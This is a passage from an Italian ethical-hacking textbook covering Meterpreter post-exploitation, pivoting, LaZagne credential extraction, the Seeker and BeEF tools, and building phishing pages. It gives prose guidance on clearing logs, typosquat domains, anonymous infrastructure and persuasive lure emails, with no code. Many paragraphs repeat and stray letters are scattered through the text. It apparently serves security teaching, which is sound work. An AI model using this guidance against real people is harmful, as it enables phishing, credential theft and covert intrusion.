Uno degli aspetti più interessanti del Meterpreter è la sua natura stealth e la sua capacità di resistere in memoria senza scrivere sul disco. Questa caratteristica lo rende difficile da rilevare sia da parte dell'utente che da sistemi di protezione come gli antivirus.

Inoltre, il Meterpreter supporta l'uso di estensioni che ampliano ulteriormente le sue funzionalità. Per esempio, la capacità di cifrare il traffico tramite SSL/TLS contribuisce a celare l'attività sospetta nella rete.

Peccato che le conseguenze legali di un uso malintenzionato di queste potenti capacità siano severe. Ecco perché è essenziale comprendere queste tecniche nel contesto di test di penetrazione autorizzati o ambienti di laboratorio, dove l'obiettivo è di rafforzare la sicurezza, non comprometterla.

Il Meterpreter offre anche l'opzione del "post-exploitation" scripting. Questo consente agli utenti di automatizzare le attività comuni come la raccolta di password, la copia di file specifici, la rilevazione e installazione di backdoor per un accesso persistente.

Una funzionalità spesso utilizzata durante il post-exploit è la "privilege escalation". Sia che ci si trovi su un dispositivo Android, Windows o Linux, esistono diversi modi per tentare di guadagnare privilegi maggiori per accedere a informazioni e funzionalità normalmente fuori portata.

Passando a un altro argomento di rilievo, la "persistence", Meterpreter permette di garantire che anche dopo un riavvio del sistema compromesso, il controllo dell'attacker possa essere mantenuto. Ciò può essere ottenuto tramite diverse tecniche, che di norma sfruttano funzionalità native dei sistemi operativi per essere eseguite automaticamente al boot.

Per quanto riguarda il mondo Linux, le tecniche di post-exploit sono variabili e dipendono molto dalla configurazione del sistema di destinazione. Per esempio, script personalizzati possono essere utilizzati per esplorare cron jobs, servizi in esecuzione o configurazioni deboli di sistemi di sicurezza come SELinux.

La consapevolezza e conoscenza di questi strumenti di post-exploit, quando applicata correttamente, può essere un'enorme risorsa per testare e migliorare la resilienza di un sistema. Questo è l'obiettivo di ogni studente e professionista nel campo della sicurezza informatica: utilizzare tali strumenti non per danneggiare, ma per rinforzare le difese di sistemi e reti.

La documentazione e l'apprendimento continuo sono fondamentali in questo viaggio. Il Meterpreter si evolve costantemente, con aggiornamenti e nuove funzioni che vengono aggiunti regolarmente alla suite Metasploit, rendendo necessaria una costante formazione e sperimentazione.

ⁱ Dunque, affrontare il post-exploit con Meterpreter richiede una mentalità aperta e una forte etica, ² combinando conoscenze tecniche con una solida comprensione delle linee guida legali che governano la sicurezza informatica.

Ricordiamo infine che la conoscenza del Meterpreter e delle tecniche di post-exploit non è solo
per gli “hacker etici”. Anche gli sviluppatori software, gli amministratori di sistema e i
professionisti IT in generale possono trarre grande beneficio dall’apprendimento di queste
tecniche per rafforzare le difese contro le vulnerabilità che inevitabilmente vengono scoperte nei
sistemi operativi e nelle applicazioni.

1

i

a

o

o

i

l

e

e

,

Ricordiamo infine che la conoscenza del Meterpreter e delle tecniche di post-exploit non è solo per gli “hacker etici”. Anche gli sviluppatori software, gli amministratori di sistema e i professionisti IT in generale possono trarre grande beneficio dall’apprendimento di queste tecniche per rafforzare le difese contro le vulnerabilità che inevitabilmente vengono scoperte nei sistemi operativi e nelle applicazioni.

PIVOTING

Collegandoci a ciò che abbiamo appreso nei capitoli precedenti, dopo essere riusciti a penetrare all'interno di un sistema, è fondamentale comprendere la fase di "Pivoting". Questo termine, nel contesto della sicurezza informatica, si riferisce alla tecnica di usare una macchina compromessa per attaccare altre macchine in una rete interna, bypassando così le restrizioni che proteggono una rete o una sottorete.

Il "Pivoting" è una tecnica cruciale perché consente all'attaccante di "muoversi lateralmente" all'interno della rete. In pratica, una volta che sei dentro, non sei limitato solo al sistema che hai violato; attraverso il pivoting puoi scoprire e accedere a risorse di rete che non sono esposte direttamente all'esterno.

Per eseguire un pivot efficacemente occorrono conoscenze tecniche che includono l'intesa di come "routare" il traffico attraverso la macchina compromessa, come sfruttare vulnerabilità interne alla LAN e come manipolare le comunicazioni all'interno della rete per rimanere nascosti e non sollevare sospetti.

Un esempio comune di strumento utilizzato in questa fase è *Metasploit*, attraverso il quale è possibile creare route arbitrarie che incanalano il traffico da e verso la rete target attraverso la tua macchina compromessa. Questo fa credere alle altre macchine della rete che stai comunicando direttamente con loro, quando in realtà stai usando il sistema compromesso come trampolino di lancio.

Una delle prime azioni in questa fase è denominata port scanning, che serve a identificare quali porte e servizi sono disponibili sugli host nella rete. Si può poi procedere a sfruttare le vulnerabilità trovate per guadagnare l'accesso ad altri sistemi.

Importante per un buon pivot è l'uso di tunneling. I tunnel sono connessioni criptate che passano attraverso una o più reti; un esempio è la creazione di un Secure Shell (SSH) tunnel. Attraverso tunnel, si possono indirizzare strumenti di scanning di rete o attaccare direttamente sistemi che non sono direttamente raggiungibili dalla macchina dell'attaccante.

Un aspetto critico nel pivoting è la pulizia delle tracce. Vogliamo assicurarci che le nostre azioni rimangano sconosciute agli amministratori di sistema; perciò, è vitale eseguire questi passi con la massima discrezione. Questo può includere alterare o cancellare i log di sistema e utilizzare tecniche stealth per le comunicazioni in rete.

Un altro strumento utile in questa fase è Proxychains. Con esso, è possibile redirigere il traffico da un'applicazione attraverso una catena di proxy, garantendo ulteriore anonimato e la possibilità di pivoting più avanzata.

Nel contesto del pivoting, l'ingegneria sociale può svolgere un ruolo per ottenere credenziali e per manipolare gli utenti della rete target per convincerli a eseguire azioni che potrebbero favorire l'avanzamento dell'attacco. Per esempio, convincere un utente a visitare una pagina web controllata dall'attaccante o ad aprire un documento infetto.

La fase di post-exploitation è dannatamente emozionante, e il pivoting rappresenta quella strategia vincente utilizzata dagli scacchisti quando mettono l'avversario sotto pressione spostando i pezzi inesplorati, mantenendo costante la sorpresa.

E non scordiamoci dei tool come Cobalt Strike o Empire, che permettono la creazione di "beacons" o listener interni alla rete target, garantendo ancora più profondità e controllo durante la fase di pivoting. Questi strumenti forniscono funzionalità di gestione delle sessioni e possono facilitare enormemente la creazione di tunnel e il movimento all'interno della rete.

È necessaria, però, una comprensione solida delle reti interne e delle configurazioni specifiche di sicurezza adottate dalla rete target, perché ogni ambiente è unico e ciò che funziona in una situazione potrebbe non funzionare in un'altra.

Infine, mentre il pivoting è una tecnica potente, è importantissimo che venga effettuata con responsabilità e consapevolezza etica, soprattutto quando praticata nel contesto di esercitazioni formative o test di penetrazione autorizzati.

Concludendo, il "Pivoting" rappresenta un'abilità cruciale nel toolkit dell'hacker etico e del professionista della cybersecurity. Si apre un mondo di possibilità quando, dopo essersi guadagnati un punto d'appoggio, si inizia a esplorare strategicamente e metodicamente l'ambiente circostante, aprendo porte precedentemente impensabili e scoprendo vulnerabilità nascoste all'interno dei sistemi.

o

i

e

i

a

e

à

Nel contesto del pivoting, l'ingegneria sociale può svolgere un ruolo per ottenere credenziali o per manipolare gli utenti della rete target per convincerli a eseguire azioni che potrebbero favorire l'avanzamento dell'attacco. Per esempio, convincere un utente a visitare una pagina web controllata dall'attaccante o ad aprire un documento infetto.

La fase di post-exploitation è dannatamente emozionante, e il pivoting rappresenta quella strategia vincente utilizzata dagli scacchisti quando mettono l'avversario sotto pressione spostando i pezzi inesplorati, mantenendo costante la sorpresa.

E non scordiamoci dei tool come Cobalt Strike o Empire, che permettono la creazione di "beacons" o listener interni alla rete target, garantendo ancora più profondità e controllo durante la fase di pivoting. Questi strumenti forniscono funzionalità di gestione delle sessioni e possono facilitare enormemente la creazione di tunnel e il movimento all'interno della rete.

È necessaria, però, una comprensione solida delle reti interne e delle configurazioni specifiche di sicurezza adottate dalla rete target, perché ogni ambiente è unico e ciò che funziona in una situazione potrebbe non funzionare in un'altra.

Infine, mentre il pivoting è una tecnica potente, è importantissimo che venga effettuata con responsabilità e consapevolezza etica, soprattutto quando praticata nel contesto di esercitazioni formative o test di penetrazione autorizzati.

Concludendo, il "Pivoting" rappresenta un'abilità cruciale nel toolkit dell'hacker etico e del professionista della cybersecurity. Si apre un mondo di possibilità quando, dopo essersi guadagnati un punto d'appoggio, si inizia a esplorare strategicamente e metodicamente l'ambiente circostante, aprendo porte precedentemente impensabili e scoprendo vulnerabilità nascoste all'interno dei sistemi.

LAZAGNE

Dopo aver esplorato le sofisticate tattiche di Post-Exploitation con Meterpreter, si apre un nuovo capitolo nel nostro viaggio alla scoperta degli strumenti di attacco: Lazagne. Questo strumento è un jolly da tirare fuori ogni volta che sei alla ricerca di una scorciatoia per accedere a credenziali nascoste su un sistema compromesso.

Lazagne è uno strumento open-source: se il suo nome ti ricorda il celebre piatto italiano, sappi che, in questo contesto, rappresenta la sua abilità nel “mescolare” insieme diversi tipi di credenziali, proprio come gli strati di una lasagna culinaria. La specialità di Lazagne è l'estrazione di password salvate da un'ampia varietà di applicazioni, tra cui browser web, client di posta elettronica, VPN e molto altro.

La versatilità di Lazagne è tale che può essere eseguito su diverse piattaforme, inclusi Windows, macOS e Linux. Posizionandosi come uno strumento formidabile, permette agli utenti avanzati di personalizzare gli attacchi o integrare il proprio codice per estenderne le funzionalità.

L'utilizzo base di Lazagne è relativamente semplice. Tutto quello che devi fare è eseguire il suo script Python sul sistema target, e come per magia, vedrai apparire le credenziali salvate davanti ai tuoi occhi. Nell'affrontare l'uso di questo tool, ricorda che l'etica gioca un ruolo fondamentale; devi operare sempre nei limiti della legalità e con il consenso informato della parte interessata.

Per iniziare, è importante scaricare Lazagne correttamente dal suo repository GitHub ufficiale. Anche se il processo di download può sembrare basilare per molti, è cruciale assicurarsi di ottenere la versione più recente per prevenire possibili problemi legati alla sicurezza o alla compatibilità.

Una volta ottenuto Lazagne, l'installazione può variare a seconda del sistema operativo. Su Windows, per esempio, potrebbe essere necessario installare alcuni componenti aggiuntivi tramite il prompt dei comandi per garantire che l'applicazione funzioni correttamente.

Con Lazagne pronto per l'uso, è il momento di avviare l'esecuzione. Una finestra del terminale o del prompt dei comandi ti permetterà di navigare nella directory in cui è stato scaricato Lazagne e di iniziare la caccia alle credenziali. Ricorda, dovrai avere privilegi sufficienti sul sistema per eseguire queste operazioni.

L'output generato da Lazagne può essere sorprendente. Potresti ritrovarti di fronte a una moltitudine di credenziali, alcune delle quali potrebbero essere state dimenticate anche dall'utente stesso. Questo sottolinea l'importanza di gestire adeguatamente le password e utilizzare manager di password affidabili.

Ma cosa succede se trovi una montagna di dati da analizzare? Fortunatamente, Lazagne offre opzioni per esportare le credenziali in formati file facilmente leggibili, come CSV o JSON. Ciò permette un'analisi successiva più facile e organizzata, anche attraverso altri strumenti che potresti vedere in altri capitoli del libro.

Oltre all'estrazione delle credenziali, Lazagne può essere ampiamente personalizzato. Se possiedi conoscenze di scripting Python, la documentazione del progetto può guidarti nell'aggiunta di nuovi moduli per l'estrazione da applicazioni non ancora supportate. Questa è una manna per chi desidera estendere le potenzialità del sistema a nuovi orizzonti.

Tuttavia, non dimentichiamo che con grande potere viene grande responsabilità. L'uso sconsiderato di strumenti come Lazagne può condurre a questioni legali e morali di non poco conto. Perciò, l'accento resta sull'utilizzo consapevole e con l'obiettivo di migliorare la nostra comprensione dell'OSINT e dell'ingegneria sociale.

Sul piano pratico, puoi trovare utili suggerimenti tattici su come integrare l'uso di Lazagne in scenari di test di penetrazione. Lavorare in un ambiente controllato, come una sandbox o una macchina virtuale, ti consentirà di affinare le tue abilità senza rischiare di danneggiare sistemi reali.

Chiudiamo questo capitolo con una riflessione sull'importanza della formazione continua. La cybersecurity è un campo dinamico, e strumenti come Lazagne evolvono rapidamente.

Mantenersi aggiornati tramite risorse autorevoli e community di esperti è vitale per mantenersi un passo avanti rispetto ai malintenzionati in questa “corsa agli armamenti” digitale.

Infine, ricorda che l'uso di strumenti di post-exploitation non è fine a se stesso. Ognuno di questi strumenti, incluso Lazagne, può contribuire al tuo crescendo come un professionista nel campo della sicurezza informatica, arricchendo le tue strategie di difesa con una comprensione profonda delle tecniche offensive. Ed è proprio con questo spirito di apprendimento che ci avviciniamo al prossimo capitolo, pronto per immergerci nelle dinamiche del phishing e dei framework d'attacco.

e

r

Ma cosa succede se trovi una montagna di dati da analizzare? Fortunatamente, Lazagne offre opzioni per esportare le credenziali in formati file facilmente leggibili, come CSV o JSON. Ciò permette un'analisi successiva più facile e organizzata, anche attraverso altri strumenti che potresti vedere in altri capitoli del libro.

Oltre all'estrazione delle credenziali, Lazagne può essere ampiamente personalizzato. Se possiedi conoscenze di scripting Python, la documentazione del progetto può guidarti nell'aggiunta di nuovi moduli per l'estrazione da applicazioni non ancora supportate. Questa è una manna per chi desidera estendere le potenzialità del sistema a nuovi orizzonti.

Tuttavia, non dimentichiamo che con grande potere viene grande responsabilità. L'uso sconsiderato di strumenti come Lazagne può condurre a questioni legali e morali di non poco conto. Perciò, l'accento resta sull'utilizzo consapevole e con l'obiettivo di migliorare la nostra comprensione dell'OSINT e dell'ingegneria sociale.

Sul piano pratico, puoi trovare utili suggerimenti tattici su come integrare l'uso di Lazagne in scenari di test di penetrazione. Lavorare in un ambiente controllato, come una sandbox o una macchina virtuale, ti consentirà di affinare le tue abilità senza rischiare di danneggiare sistemi reali.

Chiudiamo questo capitolo con una riflessione sull'importanza della formazione continua. La cybersecurity è un campo dinamico, e strumenti come Lazagne evolvono rapidamente.

Mantenersi aggiornati tramite risorse autorevoli e community di esperti è vitale per mantenersi un passo avanti rispetto ai malintenzionati in questa “corsa agli armamenti” digitale.

Infine, ricorda che l'uso di strumenti di post-exploitation non è fine a se stesso. Ognuno di questi strumenti, incluso Lazagne, può contribuire al tuo crescendo come un professionista nel campo della sicurezza informatica, arricchendo le tue strategie di difesa con una comprensione profonda delle tecniche offensive. Ed è proprio con questo spirito di apprendimento che ci avviciniamo al prossimo capitolo, pronto per immergerci nelle dinamiche del phishing e dei framework di attacco.

Capitolo 20: Phishing e Framework di Attacco

Dopo aver esplorato la profondità delle tecniche di post-exploit e come impostare i passaggi successivi a un attacco informatico, è cruciale immergersi nella comprensione e nell'utilizzo del phishing e dei framework di attacco. Il phishing rappresenta una delle minacce più insidiose e diffuse nel mondo della sicurezza informatica, e per chi vuole imparare l'OSINT e l'ingegneria sociale, afferrare i meccanismi di questa tecnica è fondamentale. Il **Capitolo 20** ti equipaggia con le conoscenze essenziali per riconoscere ed eseguire attacchi di phishing in modo efficace e responsabile. Analizzeremo i dettagli di strumenti come il **Seeker** e il **BeEF Framework**, senza trascurare l'importanza di costruire campagne di phishing credibili e metodi per il delivery di malware. Questa immersione nel dark side dell'ingegneria sociale costituisce un terreno fertile per consolidare la tua capacità di difesa, insegnandoti, attraverso la pratica, come i malintenzionati sfruttano le vulnerabilità umane e tecniche per perpetrare attacchi.

Seeker

PROSEGUENDO DAL DISCORSO sui framework di attacco, rivolgiamo adesso l'attenzione su uno strumento altrettanto interessante noto come Seeker. Seeker è una delle armi più sofisticate nel kit di un hacker etico che desidera tracciare la localizzazione di un soggetto attraverso l'ingegneria sociale.

L'interesse primario di Seeker è fornire una localizzazione precisa utilizzando tecniche di inganno. Come? Creando una pagina di phishing che richiede l'accesso alle informazioni di geolocalizzazione dello smartphone o del PC della vittima. Una volta che l'utente acconsente, le sue coordinate GPS sono inviate direttamente all'attaccante.

Tuttavia, l'uso di Seeker solleva immediatamente questioni etiche. Per questo, il suo impiego deve essere sempre circoscritto agli ambiti legali, come i test di penetrazione autorizzati o le esercitazioni di sicurezza informatica. Ricorda, l'intento è imparare a difendersi conoscendo le tecniche di offesa, non l'opposto.

Quando si configura Seeker, è essenziale che il finto sito web sembri legittimo. Questo significa che deve avere un aspetto professionale e un design che ispiri fiducia. A volte, può essere una copia di un sito famoso e affidabile, oppure qualcosa che la vittima si aspetta di ricevere, come un link a un pacchetto di consegna in attesa.

Con Seeker, è possibile ospitare la falsa pagina sia su un server locale sia su uno remoto.

Quest'ultimo è spesso più efficace, in quanto è raro che gli utenti sospettino di siti che appaiono

ospitati su server professionali. Inoltre, potrebbe ingannare anche persone più tecnicamente preparate.

Una volta che la vittima è sulla pagina, Seeker presenta un pop-up che chiede l'accesso alla localizzazione. La maggior parte dei dispositivi moderni richiede che l'utente conceda esplicitamente questa autorizzazione, e qui entra in gioco l'ingegnosità dell'attaccante per convincere la vittima a cliccare "Consenti".

¹Dopo aver ottenuto l'accesso alla localizzazione, Seeker può fornire all'attaccante una varietà di dettagli, come la latitudine, la longitudine, l'altitudine, l'accuratezza della posizione, e persino la velocità di spostamento, se l'utente è in movimento.

Fondamentale è la conoscenza del contesto legale entro cui si opera. In Italia, come in molti altri paesi, è illegale tracciare la localizzazione di un individuo senza il suo esplicito consenso.

Quindi, quando si utilizza Seeker, si deve sempre operare in un ambito legittimo e con le dovute autorizzazioni.

Trattandosi di un tool che sfrutta l'ingegneria sociale, va ricordato che la sua efficacia risiede

¹nella psicologia umana. Creare una narrazione credibile, che possa indurre la vittima a fidarsi del link ricevuto, richiede una profonda comprensione dei bias e delle paure che tutti noi abbiamo.

²Per la raccolta dei dati una volta ottenuti, Seeker fornisce un'interfaccia chiara e intuitiva. Grazie a questa, si può visualizzare in tempo reale i dati raccolti da ogni vittima. Questo aspetto è particolarmente interessante per le simulazioni di pen testing, finalizzate a comprendere le possibili falle in termini di educazione sulla sicurezza ai dipendenti di un'azienda.

È anche possibile configurare Seeker affinché i dati vengano inviati a un database o un'applicazione esterna. Questo può essere utile quando si sta conducendo un'analisi più ampia o si sta integrando Seeker con altri strumenti di test di sicurezza o di OSINT.

²Per quanto possa sembrare semplice, il deploy di Seeker richiede una conoscenza approfondita dei sistemi operativi sia dell'host che della vittima. Impostare il server, configurare i servizi web e assicurare che il sito di phishing sia operativo e reattivo a diversi dispositivi è un processo che richiede tempo e attenzione.

Infine, ciò che rende Seeker particolarmente efficace è la sua capacità di essere camuffato.

L'attaccante può incorporare il link di phishing in una varietà di mezzi comunicativi: SMS, e-mail, messaggi social, e addirittura QR code. La limitazione sta solo nella creatività e nelle competenze tecniche dell'attaccante etico.

In definitiva, Seeker è un esempio lampante di come strumenti potenti possano essere utilizzati sia per fini legittimi che malevoli. È una dimostrazione vivente del motivo per cui è

fondamentale essere sempre vigili e informati su come le nuove tecnologie possano influenzare la nostra sicurezza digitale.

E in quanto studenti che stanno imparando l'OSINT e l'ingegneria sociale, è proprio questa consapevolezza a fare la differenza. Conoscere gli strumenti e le loro potenzialità consente di sviluppare una mentalità proattiva, creando un mondo digitale più sicuro per tutti.

i

a

l

,

o

a

,

e

fondamentale essere sempre vigili e informati su come le nuove tecnologie possano influenzare la nostra sicurezza digitale.

E in quanto studenti che stanno imparando l'OSINT e l'ingegneria sociale, è proprio questa consapevolezza a fare la differenza. Conoscere gli strumenti e le loro potenzialità consente di sviluppare una mentalità proattiva, creando un mondo digitale più sicuro per tutti.

BEEF FRAMEWORK

Dopo aver esplorato le tecniche di phishing e i loro vari approcci, è il momento di immergerci nel BeEF Framework, uno strumento potente che si inserisce nell'arsenale dell'hacker etico per svelare vulnerabilità che potrebbero essere sfruttate tramite l'ingegneria sociale. BeEF sta per Browser Exploitation Framework ed è una piattaforma di test di penetrazione focalizzata sull'ambiente web.

L'utilizzo del BeEF permette di capire fino a che punto è possibile manipolare il comportamento degli utenti attraverso il loro browser. Questa piattaforma offre un'ampia varietà di moduli che possono testare diverse tipologie di attacchi tramite web browser.

Per utilizzare BeEF, bisogna prima installarlo sul proprio sistema. È disponibile per sistemi operativi come Linux, Mac OSX e altri sistemi Unix-like. L'installazione può essere effettuata clonando il repository GitHub ufficiale e seguendo i passaggi presenti nella documentazione.

Una volta installato, il primo passo consiste nel lancio del server BeEF. Questa operazione si effettua attraverso la linea di comando e, per comodità, possono essere utilizzati gli script inclusi nel pacchetto di installazione per avviarlo rapidamente.

Dopo l'avvio, BeEF sarà accessibile attraverso un'interfaccia web che rappresenta il pannello di controllo dal quale si potranno gestire gli attacchi. La GUI (Graphical User Interface) è intuitiva ed è il luogo in cui vedrai l'elenco dei browser "hooked", ovvero i browser che sono stati agganciati al framework.

Il concetto di "hook" è fondamentale in BeEF. Si tratta di un piccolo snippet di codice JavaScript che, una volta eseguito nel browser della vittima, permette al framework di interagire con il browser stesso. Questo meccanismo è spesso attuato inducendo l'utente a visitare una pagina web malevola o tramite l'inserimento del codice in siti vulnerabili.

Una volta che un browser è hookato, attraverso BeEF avrete accesso a moduli che possono eseguire azioni quali eseguire comandi JavaScript sul client, raccogliere informazioni sulle credenziali salvate, ottenere dettagli sulla rete interna alla quale il browser della vittima è connesso e molti altri tipi di attacchi.

I moduli di BeEF sono divisi in diverse categorie, che includono "Browser", "Exploit", "Network" e "Social Engineering", ognuna delle quali contiene script per attacchi e tecniche specifiche. Questi moduli dimostrano come sia possibile implementare attacchi sofisticati e multifaccia con facilità.

Sicuramente si può apprezzare l'importanza di usare tale strumento all'interno di un contesto di test legali, definiti da un'etica professionale e da un framework legale. Lo scopo di BeEF non è quello di compromettere sistemi altrui senza consenso, ma di identificare falle di sicurezza per poterle poi rafforzare.

Un aspetto cruciale durante l'utilizzo di BeEF è quello di non sottovalutare la consapevolezza legata a privacy e sicurezza: mentre si opera, è vitale fare attenzione a non incappare in atti che potrebbero invadere la privacy o danneggiare dati altrui. La conoscenza e il rispetto delle normative sulla privacy e sulla sicurezza informatica sono perciò imprescindibili.

Per eseguire un attacco "di prova" con successo, avrai bisogno di un ambiente controllato e di utenti consapevoli che partecipano come vittime volontarie. È possibile, per esempio, creare un ambiente di laboratorio in cui tutti gli attacchi sono condotti in sicurezza e i cui risultati vengono analizzati per scopi educativi e di miglioramento delle misure di sicurezza.

L'analisi dei risultati è una fase chiave che segue l'attacco. Attraverso BeEF si possono ottenere informazioni dettagliate sulle vulnerabilità presentate dai browser e dalle abitudini degli utenti.

Queste informazioni sono preziose per migliorare non solo le infrastrutture tecniche, ma anche per sviluppare programmi di formazione mirati a sensibilizzare gli utenti sui rischi legati ai comportamenti in rete.

Nel contesto OSINT e dell'ingegneria sociale, BeEF rappresenta uno strumento potentissimo. Permette di vedere l'efficacia con cui si possono raccogliere dati e informazioni attraverso la manipolazione del browser e mette a nudo quanto possiamo essere vulnerabili attraverso le nostre normali attività quotidiane in rete.

In conclusione, BeEF Framework è una piattaforma eccezionale per comprendere a fondo i rischi associati al web browsing e per imparare come rafforzare la sicurezza delle informazioni.

Speriamo che l'inclusione di questa sezione nel libro ti abbia fornito gli strumenti per comprendere questa componente critica del paesaggio della sicurezza informatica moderna.

è

Sicuramente si può apprezzare l'importanza di usare tale strumento all'interno di un contesto di test legali, definiti da un'etica professionale e da un framework legale. Lo scopo di BeEF non è quello di compromettere sistemi altrui senza consenso, ma di identificare falle di sicurezza per poterle poi rafforzare.

Un aspetto cruciale durante l'utilizzo di BeEF è quello di non sottovalutare la consapevolezza legata a privacy e sicurezza: mentre si opera, è vitale fare attenzione a non incappare in atti che potrebbero invadere la privacy o danneggiare dati altrui. La conoscenza e il rispetto delle normative sulla privacy e sulla sicurezza informatica sono perciò imprescindibili.

Per eseguire un attacco "di prova" con successo, avrai bisogno di un ambiente controllato e di utenti consapevoli che partecipano come vittime volontarie. È possibile, per esempio, creare un ambiente di laboratorio in cui tutti gli attacchi sono condotti in sicurezza e i cui risultati vengono analizzati per scopi educativi e di miglioramento delle misure di sicurezza.

L'analisi dei risultati è una fase chiave che segue l'attacco. Attraverso BeEF si possono ottenere informazioni dettagliate sulle vulnerabilità presentate dai browser e dalle abitudini degli utenti. Queste informazioni sono preziose per migliorare non solo le infrastrutture tecniche, ma anche per sviluppare programmi di formazione mirati a sensibilizzare gli utenti sui rischi legati ai comportamenti in rete.

Nel contesto OSINT e dell'ingegneria sociale, BeEF rappresenta uno strumento potentissimo. Permette di vedere l'efficacia con cui si possono raccogliere dati e informazioni attraverso la manipolazione del browser e mette a nudo quanto possiamo essere vulnerabili attraverso le nostre normali attività quotidiane in rete.

In conclusione, BeEF Framework è una piattaforma eccezionale per comprendere a fondo i rischi associati al web browsing e per imparare come rafforzare la sicurezza delle informazioni.

Speriamo che l'inclusione di questa sezione nel libro ti abbia fornito gli strumenti per comprendere questa componente critica del paesaggio della sicurezza informatica moderna.

COSTRUIRE PHISHING

Iniziamo un viaggio nel mondo del phishing, una delle metodologie più sottili e pericolose dell'ingegneria sociale. Il phishing è quell'arte nera che mira a ingannare gli utenti affinché forniscano informazioni sensibili facendo leva sul fattore umano. Qui, ci concentreremo sulla costruzione pratica di pagine di phishing, senza però dimenticare l'importanza di agire sempre nel pieno rispetto della legge.

Per costruire una pagina di phishing efficiente, devi prima capire a fondo il tuo obiettivo. Ricerca la piattaforma che vuoi imitare: potrebbe essere un social network, una banca o un servizio di posta elettronica. Osserva il design, le tendenze e i dettagli utilizzati dall'originale, poiché la tua copia dovrà essere la più accurata possibile per non insospettire la vittima.

Poi, si passa alla parte più tecnica: la creazione della pagina web fasulla. Serviti di strumenti per il web design o, se sei un mago del codice, puoi scrivere l'HTML e il CSS da te. È fondamentale che il tuo lavoro rispecchi la grafica del sito autentico e che ogni elemento interattivo, come campi di inserimento e bottoni, sia finto ma funzionante.

Richiama l'attenzione sul dominio scelto per la tua pagina. Deve essere convincente. Idee come cambiare una lettera nel nome del dominio o usare un'estensione simile a quella ufficiale sono tattiche diffusissime. Un esempio potrebbe essere "facebok.org" invece di "facebook.com": sembra quasi identico, vero?

Ora, concentrati sulla parte server: qui andrai a raccogliere i dati inseriti dalle vittime. Configura un database sicuro e protetto dove i dati possano essere salvati senza rischi. Ricorda, rimanere incognito è la chiave: devi assicurarti che ogni aspetto della tua infrastruttura sia anonimo e non riconducibile a te.

Nell'impersonare il servizio, non trascurare il protocollo HTTPS. Una pagina di phishing con un lucchetto vicino alla URL può aumentare esponenzialmente le probabilità che l'utente si fidi. Ci sono modi per ottenere certificati SSL gratuiti che potrai utilizzare per questo scopo.

Certo, creare la pagina è solo parte del processo. Devi anche convincere la vittima a visitarla. Ecco che entra in gioco la psicologia: scrivi un'e-mail persuasiva, che inviti a risolvere un problema urgente o a ricevere un premio invitante, e inserisci il link alla tua pagina.

La varietà dei dispositivi oggi utilizzati significa anche che il tuo sito di phishing deve essere responsivo. Assicurati che funzioni perfettamente sia su desktop che su mobile, dato che molti utenti adesso verificano le e-mail e navigano principalmente attraverso il telefono.

Un'altra tecnica raffinata è l'uso dell'IDN (Internationalized Domain Name) homograph attack, dove sfrutti la somiglianza dei caratteri unicode per creare domini ancora più convincenti. Ma attenzione: sebbene sia astuto, i browser moderni hanno implementato misure di sicurezza per mitigare questi attacchi, quindi non è sempre efficace.

Tutta questa attenzione ai dettagli tecnici non deve distoglierti dal mantenere un comportamento etico e legale. In alcune attivazioni, il phishing può essere parte di un test di penetrazione autorizzato. In quei casi, hai il permesso di mettere alla prova le difese di un'organizzazione, ma sempre con un contratto firmato e dopo aver ottenuto il consenso esplicito di chi di dovere.

Ancora, il monitoraggio e la manutenzione della tua campagna di phishing sono fondamentali. Devi essere pronto a modificare rapidamente la tua pagina se scopri che c'è qualcosa che non va, o se l'originale cambia aspetto.

Quando arriva il momento di raccogliere i frutti, assicurati di analizzare i dati con estrema cautela. Verifica le credenziali acquisite e, se il tuo approccio è legittimo, informa le vittime e l'azienda target delle vulnerabilità trovate.

Infine, non dimenticare mai l'importanza della formazione. Educare utenti e dipendenti sul riconoscimento delle campagne di phishing è parte integrante della difesa contro queste minacce. Mostra loro i segni rivelatori di una truffa, come gli errori grammaticali nelle e-mail, gli URI sospetti e l'urgenza ingiustificata nelle richieste.

Ricorda, la costruzione di una campagna di phishing etica non deve mai avere come obiettivo il danneggiamento o il furto di dati: può essere un potente strumento di sensibilizzazione e formazione sulla sicurezza informatica.

Questo conclude la nostra panoramica su come costruire phishing efficaci e sicuri. Intendendosi sicuri nel senso che, anche se parte di un test di penetrazione o di un'esercitazione, non devono causare alcun danno ai partecipanti o alle infrastrutture coinvolte. Il phishing può essere un ottimo esercizio pratico per comprendere più a fondo come la sicurezza può essere compromessa e per rafforzare le misure preventive, ma va sempre gestito con grande responsabilità e rispetto per la legge e per gli individui coinvolti.

Un'altra tecnica raffinata è l'uso dell'IDN (Internationalized Domain Name) homograph attack, dove sfrutti la somiglianza dei caratteri unicode per creare domini ancora più convincenti. Ma attenzione: sebbene sia astuto, i browser moderni hanno implementato misure di sicurezza per mitigare questi attacchi, quindi non è sempre efficace.

Tutta questa attenzione ai dettagli tecnici non deve distoglierti dal mantenere un comportamento etico e legale. In alcune attivazioni, il phishing può essere parte di un test di penetrazione autorizzato. In quei casi, hai il permesso di mettere alla prova le difese di un'organizzazione, ma sempre con un contratto firmato e dopo aver ottenuto il consenso esplicito di chi di dovere.

Ancora, il monitoraggio e la manutenzione della tua campagna di phishing sono fondamentali. Devi essere pronto a modificare rapidamente la tua pagina se scopri che c'è qualcosa che non va, o se l'originale cambia aspetto.

Quando arriva il momento di raccogliere i frutti, assicurati di analizzare i dati con estrema cautela. Verifica le credenziali acquisite e, se il tuo approccio è legittimo, informa le vittime e l'azienda target delle vulnerabilità trovate.

Infine, non dimenticare mai l'importanza della formazione. Educare utenti e dipendenti sul riconoscimento delle campagne di phishing è parte integrante della difesa contro queste minacce. Mostra loro i segni rivelatori di una truffa, come gli errori grammaticali nelle e-mail, gli URL sospetti e l'urgenza ingiustificata nelle richieste.

Ricorda, la costruzione di una campagna di phishing etica non deve mai avere come obiettivo il danneggiamento o il furto di dati: può essere un potente strumento di sensibilizzazione e formazione sulla sicurezza informatica.

Questo conclude la nostra panoramica su come costruire phishing efficaci e sicuri. Intendendosi sicuri nel senso che, anche se parte di un test di penetrazione o di un'esercitazione, non devono causare alcun danno ai partecipanti o alle infrastrutture coinvolte. Il phishing può essere un ottimo esercizio pratico per comprendere più a fondo come la sicurezza può essere compromessa e per rafforzare le misure preventive, ma va sempre gestito con grande responsabilità e rispetto per la legge e per gli individui coinvolti.

DELIVERY DEI MALWARE

Entriamo ora in uno degli aspetti più insidiosi del phishing: il delivery dei malware. Questa pratica si riferisce al processo di distribuzione di software dannoso alle vittime, spesso celato dietro e-mail ingannevoli che simulano le comunicazioni di entità legittime. Ma come si concretizza questo nell'ambito degli attacchi informatici?

